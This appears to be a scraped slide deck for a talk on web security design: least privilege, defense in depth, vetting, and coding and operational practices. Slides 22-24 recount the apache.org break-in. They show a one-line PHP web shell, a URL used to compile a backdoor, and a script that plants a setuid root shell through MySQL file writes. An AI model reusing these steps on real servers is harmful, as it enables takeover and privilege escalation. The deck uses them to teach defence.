50
Security and Web Programming/Design

Security and Web Programming/Design. cell phones bio-facilities Sodas, junk food, and coffee Welcome to the No Smoking State

Embed Size (px)

Citation preview

Page 1: Security and Web Programming/Design. cell phones bio-facilities Sodas, junk food, and coffee Welcome to the No Smoking State

Security and Web Programming/Design

Page 2: Security and Web Programming/Design. cell phones bio-facilities Sodas, junk food, and coffee Welcome to the No Smoking State

cell phones

bio-facilities

Sodas, junk food, and coffee

Welcome to the No Smoking State

Page 3: Security and Web Programming/Design. cell phones bio-facilities Sodas, junk food, and coffee Welcome to the No Smoking State

who are you?

where are you from?

what do you do?

Emacs or vi?

Page 4: Security and Web Programming/Design. cell phones bio-facilities Sodas, junk food, and coffee Welcome to the No Smoking State

Warm Fuzzies

Secure Design and Implementation

Wordage

Page 5: Security and Web Programming/Design. cell phones bio-facilities Sodas, junk food, and coffee Welcome to the No Smoking State

Security Concepts

Vetting Software

Design Strategy

Developer practices

Coding Practices

Operational Practices

Page 6: Security and Web Programming/Design. cell phones bio-facilities Sodas, junk food, and coffee Welcome to the No Smoking State

Security Concepts

Page 7: Security and Web Programming/Design. cell phones bio-facilities Sodas, junk food, and coffee Welcome to the No Smoking State

trust

transitive trust

Page 8: Security and Web Programming/Design. cell phones bio-facilities Sodas, junk food, and coffee Welcome to the No Smoking State

principle of least privilege

enumerating badness

“best block: not be there”

-- Mr. Miyage

Page 9: Security and Web Programming/Design. cell phones bio-facilities Sodas, junk food, and coffee Welcome to the No Smoking State

“defense in depth”

Page 10: Security and Web Programming/Design. cell phones bio-facilities Sodas, junk food, and coffee Welcome to the No Smoking State

threats

vulnerabilities

risks

Page 11: Security and Web Programming/Design. cell phones bio-facilities Sodas, junk food, and coffee Welcome to the No Smoking State

who accepts the risk?

Page 12: Security and Web Programming/Design. cell phones bio-facilities Sodas, junk food, and coffee Welcome to the No Smoking State

being paranoid

Page 13: Security and Web Programming/Design. cell phones bio-facilities Sodas, junk food, and coffee Welcome to the No Smoking State

confidentiality

integrity

availability

Page 14: Security and Web Programming/Design. cell phones bio-facilities Sodas, junk food, and coffee Welcome to the No Smoking State

protect what you can

detect what you can’t prevent

Page 15: Security and Web Programming/Design. cell phones bio-facilities Sodas, junk food, and coffee Welcome to the No Smoking State

hammers, nails...

Page 16: Security and Web Programming/Design. cell phones bio-facilities Sodas, junk food, and coffee Welcome to the No Smoking State

a security mechanism is design to protect against a specific

finite set of attacks.

It usually fails gloriously when modified or used for

other purposes.

Page 17: Security and Web Programming/Design. cell phones bio-facilities Sodas, junk food, and coffee Welcome to the No Smoking State

don’t design your own new security protocol

Page 18: Security and Web Programming/Design. cell phones bio-facilities Sodas, junk food, and coffee Welcome to the No Smoking State

the law of unintended consequences

Page 19: Security and Web Programming/Design. cell phones bio-facilities Sodas, junk food, and coffee Welcome to the No Smoking State

don’t rely on the environment for protection

don’t rely on good behavior

don’t rely on things you can’t control

Page 20: Security and Web Programming/Design. cell phones bio-facilities Sodas, junk food, and coffee Welcome to the No Smoking State

how apache.org got pwn3d

Page 21: Security and Web Programming/Design. cell phones bio-facilities Sodas, junk food, and coffee Welcome to the No Smoking State

ftproot == wwwroot

webuser == o+w

Page 22: Security and Web Programming/Design. cell phones bio-facilities Sodas, junk food, and coffee Welcome to the No Smoking State

upload php via ftp

<? passthru($cmd); ?>

upload backdoor code

compile and execute via http

http://www.apache.org/thatdir/wuh.php3?cmd=gcc+-o+httpd+httpd.c

voila! shell on web server

Page 23: Security and Web Programming/Design. cell phones bio-facilities Sodas, junk food, and coffee Welcome to the No Smoking State

bugzilla talking to mysql

mysql running as root

mysql username/password stored script

Page 24: Security and Web Programming/Design. cell phones bio-facilities Sodas, junk food, and coffee Welcome to the No Smoking State

create table with text field

insert:

#!/bin/shcp /bin/sh /tmp/.rootshchmod 4755 /tmp/.rootshrm -f /root/.tcshrc

query: SELECT ... INTO ‘/root/.tchsrc’

wait for someone to “su -”

Page 25: Security and Web Programming/Design. cell phones bio-facilities Sodas, junk food, and coffee Welcome to the No Smoking State

Security Vetting

Page 26: Security and Web Programming/Design. cell phones bio-facilities Sodas, junk food, and coffee Welcome to the No Smoking State

What is it supposed to do?

How does it work?

What side effects are there?

How is it deployed and maintained?

Page 27: Security and Web Programming/Design. cell phones bio-facilities Sodas, junk food, and coffee Welcome to the No Smoking State

How does it fail?

What is the risk?

Can it be mitigated?

Page 28: Security and Web Programming/Design. cell phones bio-facilities Sodas, junk food, and coffee Welcome to the No Smoking State

usability and security

Page 29: Security and Web Programming/Design. cell phones bio-facilities Sodas, junk food, and coffee Welcome to the No Smoking State

understanding

caring

under-budget

Page 30: Security and Web Programming/Design. cell phones bio-facilities Sodas, junk food, and coffee Welcome to the No Smoking State

security is an enabling task

Page 31: Security and Web Programming/Design. cell phones bio-facilities Sodas, junk food, and coffee Welcome to the No Smoking State

It is especially important for expert programmers to internalize this habit, for two reasons. One is that expert programmers are disproportionately drawn from the high end of the bell curve in their working-set size; therefore they tend to systematically overestimate the amount of complexity other people can handle easily.

-- Eric S. Raymond, The Art of Unix Usability

Page 32: Security and Web Programming/Design. cell phones bio-facilities Sodas, junk food, and coffee Welcome to the No Smoking State

Design Strategy

Page 33: Security and Web Programming/Design. cell phones bio-facilities Sodas, junk food, and coffee Welcome to the No Smoking State

top down design

Page 34: Security and Web Programming/Design. cell phones bio-facilities Sodas, junk food, and coffee Welcome to the No Smoking State

goals

requirements

design

review

Page 35: Security and Web Programming/Design. cell phones bio-facilities Sodas, junk food, and coffee Welcome to the No Smoking State

what is the end result?

what problem trying to solve?

*not* how it is implemented

Page 36: Security and Web Programming/Design. cell phones bio-facilities Sodas, junk food, and coffee Welcome to the No Smoking State

security

usability

performance

environmental

Page 37: Security and Web Programming/Design. cell phones bio-facilities Sodas, junk food, and coffee Welcome to the No Smoking State

support

deployment

political

external

Page 38: Security and Web Programming/Design. cell phones bio-facilities Sodas, junk food, and coffee Welcome to the No Smoking State

as simple as possible to meet the requirements

add requirements if apparent during design

be prepared to change when requirements can’t be met

Page 39: Security and Web Programming/Design. cell phones bio-facilities Sodas, junk food, and coffee Welcome to the No Smoking State

for each security control

what threat is addressed?

Really?

Page 40: Security and Web Programming/Design. cell phones bio-facilities Sodas, junk food, and coffee Welcome to the No Smoking State

recent examples

Page 41: Security and Web Programming/Design. cell phones bio-facilities Sodas, junk food, and coffee Welcome to the No Smoking State

Developer Practices

Page 42: Security and Web Programming/Design. cell phones bio-facilities Sodas, junk food, and coffee Welcome to the No Smoking State

The three virtues of a programmer are laziness, impatience, and hubris.

-- Larry Wall

Page 43: Security and Web Programming/Design. cell phones bio-facilities Sodas, junk food, and coffee Welcome to the No Smoking State

Group permissions and accounts

Code Safety

Test Environment

Regression Testing

Page 44: Security and Web Programming/Design. cell phones bio-facilities Sodas, junk food, and coffee Welcome to the No Smoking State

Coding Practices

Page 45: Security and Web Programming/Design. cell phones bio-facilities Sodas, junk food, and coffee Welcome to the No Smoking State

bounds checking

input validation

no client-side trust

error checking

Page 46: Security and Web Programming/Design. cell phones bio-facilities Sodas, junk food, and coffee Welcome to the No Smoking State

sql injection

cross-site scripting

credential handling

data mapping

logging

Page 47: Security and Web Programming/Design. cell phones bio-facilities Sodas, junk food, and coffee Welcome to the No Smoking State

don’t require shell for remote execution

Page 48: Security and Web Programming/Design. cell phones bio-facilities Sodas, junk food, and coffee Welcome to the No Smoking State
Page 49: Security and Web Programming/Design. cell phones bio-facilities Sodas, junk food, and coffee Welcome to the No Smoking State

Operational Practices

Page 50: Security and Web Programming/Design. cell phones bio-facilities Sodas, junk food, and coffee Welcome to the No Smoking State

Server accounts and permissions

handling credentials

accountability

software maintenance

documentation

testing and debugging